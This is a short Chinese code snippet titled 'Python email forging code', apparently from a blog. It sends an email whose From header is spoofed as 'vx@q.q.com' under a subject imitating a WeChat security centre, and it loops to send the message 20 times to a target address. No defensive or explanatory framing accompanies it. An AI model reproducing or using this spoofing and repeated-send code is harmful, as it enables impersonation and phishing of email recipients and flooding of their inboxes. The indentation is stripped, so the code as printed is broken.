avatar

Python邮件伪造代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# -*- coding: utf-8 -*-
#导入两个库,用来发送邮件,multipart用来构造邮件,带附件的
import smtplib
import email.mime.multipart
import email.mime.text
from email.header import Header
from email.mime.text import MIMEText
#建立邮件对象
msg = email.mime.multipart.MIMEMultipart()
#发送的内容
msg = message = MIMEText('xxxxxx', 'plain', 'utf-8')
#邮件标题
msg['Subject'] = Header('微信不安全中心', 'utf-8')
#邮件显示的发送人
msg['From'] = 'vx@q.q.com'
#接受地
msg['To'] = '809099942@qq.com'
print(msg.as_string())
#防出错
try:
smtp = smtplib.SMTP()
# 连接到服务器
smtp.connect('smtp.qq.com', '25')
# 用户名密码登录,密码为163邮箱的授权码,自己设置的
smtp.login('1834833515@qq.com', '差点被你们看见了')
# 发送邮件(发送地,接受地,内容) 第二个参数必须为列表
n = 20
sum = 0
counter = 1
while counter <= n:
smtp.sendmail('1834833515@qq.com', ['目标@qq.com'], msg.as_string())
print('邮件发送成功email has send out !')
sum = sum + counter
counter += 1
#退出
#退出
smtp.quit()
print('邮件发送成功email has send out !')
except Exception as e:
#打印出错原因,可以查看出错代码
print(e)